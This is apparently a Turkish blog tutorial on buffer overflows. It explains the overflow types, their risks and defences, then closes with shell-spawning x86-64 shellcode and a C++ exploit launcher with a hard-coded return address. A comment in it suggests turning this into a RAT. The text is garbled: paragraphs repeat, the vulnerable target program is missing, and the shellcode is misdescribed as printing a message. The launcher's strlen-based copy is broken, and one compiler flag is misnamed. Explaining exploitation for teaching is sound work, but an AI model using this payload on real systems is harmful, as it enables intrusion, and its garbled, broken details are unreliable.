Giriş
Buffer overflow (tampon taşması), bir programın ayrılmış bellek alanının (buffer) sınırlarını aşarak, beklenmeyen verilerin yazılmasına yol açan bir güvenlik açığıdır. Bu açık, özellikle C ve C++ gibi düşük seviyeli dillerde sıkça görülür çünkü bu diller bellek yönetimini programcıya bırakır. Bu makalede, buffer overflow açığının ne olduğunu, nasıl çalıştığını, potansiyel risklerini ve bu açığı önlemek için alınabilecek önlemleri detaylı bir şekilde inceleyeceğiz.
Buffer Overflow Nedir?
Buffer, bir programda veri saklamak için ayrılmış geçici bir bellek alanıdır. Buffer overflow, bu alana ayrılan sınırların ötesine veri yazıldığında meydana gelir. Örneğin, bir program 10 baytlık bir dizi için yer ayırmışsa ve bu diziye 15 bayt veri yazılmaya çalışılırsa, fazladan veri diğer bellek bölgelerine taşar. Bu durum, programın beklenmedik şekilde davranmasına veya kötü niyetli bir saldırganın sistemde kontrolü ele geçirmesine olanak tanıyabilir.
Buffer Overflow Nedir?
Buffer, bir programda veri saklamak için ayrılmış geçici bir bellek alanıdır. Buffer overflow, bu alana ayrılan sınırların ötesine veri yazıldığında meydana gelir. Örneğin, bir program 10 baytlık bir dizi için yer ayırmışsa ve bu diziye 15 bayt veri yazılmaya çalışılırsa, fazladan veri diğer bellek bölgelerine taşar. Bu durum, programın beklenmedik şekilde davranmasına veya kötü niyetli bir saldırganın sistemde kontrolü ele geçirmesine olanak tanıyabilir.
Buffer Overflow Türleri
Stack-Based Buffer Overflow: Taşma, programın yığın (stack) belleğinde meydana gelir. Genellikle yerel değişkenlerin veya fonksiyon çağrılarının bulunduğu alanda olur.
Heap-Based Buffer Overflow: Taşma, dinamik olarak ayrılan bellek alanında (heap) gerçekleşir. Daha karmaşıktır ve genellikle daha zor tespit edilir.
Format String Attacks: Kullanıcı girişinin doğrudan format fonksiyonlarına (örneğin, printf) geçirilmesiyle oluşan bir türevdir.
Heap-Based Buffer Overflow: Taşma, dinamik olarak ayrılan bellek alanında (heap) gerçekleşir. Daha karmaşıktır ve genellikle daha zor tespit edilir.
Format String Attacks: Kullanıcı girişinin doğrudan format fonksiyonlarına (örneğin, printf) geçirilmesiyle oluşan bir türevdir.
Riskler ve Etkiler
Buffer overflow açığı, ciddi güvenlik tehditleri oluşturur;
Kod Enjeksiyonu: Saldırganlar, taşma yoluyla kötü niyetli kod çalıştırabilir.
Veri Sızıntısı: Hassas veriler (örneğin, parolalar veya anahtarlar) sızdırılabilir.
Sistem Çökmesi: Programın beklenmedik şekilde kapanması veya sistem kararsızlığı.
Yetkisiz Erişim: Saldırgan, sistemde yönetici yetkileri elde edebilir.
Tarihi örneklerden biri, 1988'de interneti etkileyen Morris Solucanıdır. Bu solucan, fingerd programındaki bir buffer overflow açığından yararlanarak binlerce bilgisayara yayılmıştır.
Kod Enjeksiyonu: Saldırganlar, taşma yoluyla kötü niyetli kod çalıştırabilir.
Veri Sızıntısı: Hassas veriler (örneğin, parolalar veya anahtarlar) sızdırılabilir.
Sistem Çökmesi: Programın beklenmedik şekilde kapanması veya sistem kararsızlığı.
Yetkisiz Erişim: Saldırgan, sistemde yönetici yetkileri elde edebilir.
Tarihi örneklerden biri, 1988'de interneti etkileyen Morris Solucanıdır. Bu solucan, fingerd programındaki bir buffer overflow açığından yararlanarak binlerce bilgisayara yayılmıştır.
Önleme Yöntemleri
Buffer overflow açıklarını önlemek için hem kodlama pratikleri hem de sistem düzeyinde çeşitli önlemler alınabilir.
Sınır Kontrolü: Kullanıcı girişlerini her zaman kontrol edin. Örneğin,
Güvenli Fonksiyonlar: strcpy, strcat gibi sınır kontrolü yapmayan fonksiyonlar yerine strncpy, strncat gibi güvenli alternatifleri kullanın.
Modern Kütüphaneler:
Aşağıdaki kod, güvenli bir alternatif gösterir;
Statik ve Dinamik Analiz Araçları: Kod analizi için Clang Static Analyzer, Valgrind veya AddressSanitizer gibi araçlar kullanın.
Address Space Layout Randomization (ASLR): Bellek adreslerini rastgeleleştirerek kötü niyetli kodun tahmin edilmesini zorlaştırır.
Data Execution Prevention (DEP): Belleğin belirli bölgelerindeki verilerin çalıştırılabilir kod olarak işlenmesini engeller.
Stack Canaries: Yığın taşmasını tespit etmek için özel işaretçiler kullanılır.
Modern Derleyiciler: GCC ve Clang gibi derleyiciler, -fstack-protect gibi güvenlik seçenekleri sunar.
Sınır Kontrolü: Kullanıcı girişlerini her zaman kontrol edin. Örneğin,
std::cin yerine std::cin.getline(buffer, sizeof(buffer)) kullanarak giriş boyutunu sınırlayın.Güvenli Fonksiyonlar: strcpy, strcat gibi sınır kontrolü yapmayan fonksiyonlar yerine strncpy, strncat gibi güvenli alternatifleri kullanın.
Modern Kütüphaneler:
std::string gibi dinamik ve güvenli veri yapıları, buffer overflow riskini azaltır.Aşağıdaki kod, güvenli bir alternatif gösterir;
C++:
#include <iostream>
#include <string>
int main() {
std::string input;
// veri girişini alıyoruz
std::cout << "Veri girin: ";
// alınan girişi getline ile tutuyoruz
std::getline(std::cin, input);
std::cout << "Girilen veri: " << input << std::endl;
return 0;
}
Statik ve Dinamik Analiz Araçları: Kod analizi için Clang Static Analyzer, Valgrind veya AddressSanitizer gibi araçlar kullanın.
Address Space Layout Randomization (ASLR): Bellek adreslerini rastgeleleştirerek kötü niyetli kodun tahmin edilmesini zorlaştırır.
Data Execution Prevention (DEP): Belleğin belirli bölgelerindeki verilerin çalıştırılabilir kod olarak işlenmesini engeller.
Stack Canaries: Yığın taşmasını tespit etmek için özel işaretçiler kullanılır.
Modern Derleyiciler: GCC ve Clang gibi derleyiciler, -fstack-protect gibi güvenlik seçenekleri sunar.
Buffer Owerflow Exploit Kodlayalım
Buffer overflow açığını istismar etmek, genellikle yığında bulunan dönüş adresini (return address) değiştirerek kötü niyetli kodun çalıştırılmasını sağlamayı içerir. Aşağıda, yukarıdaki koddaki açığı istismar eden bir exploit örneği sunulmaktadır. Bu örnek, basit bir kabuk kodu (shellcode) çalıştırarak bir mesaj yazdırmayı amaçlar.
Shellcode, çalıştırıldığında istenen işlemi yapan makine kodu dizisidir.
Aşağıda basit bir mesaj yazdıran Shell Code Buffer Owerflow Exploiti bulunuyor;
Shellcode, çalıştırıldığında istenen işlemi yapan makine kodu dizisidir.
C++:
// bu shell code yani kabuk kod linux için /bin/sh çalıştırıyor
char kabuk_kodu[] =
"\x48\x31\xff" // xor %rdi, %rdi
"\x48\x31\xd2" // xor %rdx, %rdx
"\x48\x31\xc0" // xor %rax, %rax
"\x48\xbb\x2f\x62\x69\x6e" // movabs $0x68732f6e69622f, %rbx
"\x2f\x73\x68\x00"
"\x53" // push %rbx
"\x48\x89\xe7" // mov %rsp, %rdi
"\x48\x31\xc0" // xor %rax, %rax
"\xb0\x3b" // mov $0x3b, %al
"\x0f\x05"; // syscall
Aşağıda basit bir mesaj yazdıran Shell Code Buffer Owerflow Exploiti bulunuyor;
C++:
#include <iostream>
#include <cstring>
#include <unistd.h>
int main() {
// Kabuk kodu /bin/sh çalıştırır
// kabuk yani shell kodu makine dilinde belirledik
// bunu payload olarak ayarlayıp, basit bir listener ile rat oluşturabiliriz
char kabuk_kodu[] =
"\x48\x31\xff\x48\x31\xd2\x48\x31\xc0\x48\xbb\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\x53\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05";
// Exploit;
// kabuk kodu + dolgu + dönüş adresi
// şeklinde kodu çevirir
// taştığı noktayı burada belirliyoruz
char yuk[100];
memset(yuk, 0x90, 100);
memcpy(yuk, kabuk_kodu, strlen(kabuk_kodu));
// Dönüş adresini kabuk kodunun
// başlangıcına işaret edecek şekilde ayarladık
// Örnek adres: 0x7fffffffde50 (gdb ile bulunmalı)
char* donus_adresi = (char*)0x7fffffffde50;
memcpy(yuk + 24, &donus_adresi, sizeof(donus_adresi));
// exploiti aktif etmek için
// zararlı yani güvensiz uygulamayı çalıştırıyoruz
execl("./guvensiz", "guvensiz", yuk, NULL);
return 0;
}
Sonuç
Tampon taşması (Buffer Owerflow), C++’ta sıkça görülen ciddi bir güvenlik açığıdır. Yukarıdaki örnekler, bu açığın nasıl çalıştığını ve nasıl istismar edilebileceğini göstermektedir. Ancak, modern sistemlerdeki güvenlik mekanizmaları (ASLR, DEP, yığın koruyucuları) bu tür istismarları zorlaştırır. Geliştiriciler, güvenli kodlama pratiklerini benimseyerek ve sistem düzeyinde korumaları etkinleştirerek bu açıkları en aza indirebilir.
en.wikipedia.org
www.fortinet.com
owasp.org
Buffer overflow - Wikipedia
What Is Buffer Overflow? Attacks, Types & Vulnerabilities | Fortinet
Buffer overflow is a software coding error that enables hackers to exploit vulnerabilities, steal data, and gain unauthorized access to corporate systems. Discover what is a buffer overflow attack and how Fortinet can mitigate and prevent overflow attacks.
Buffer Overflow | OWASP Foundation
Buffer Overflow on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.





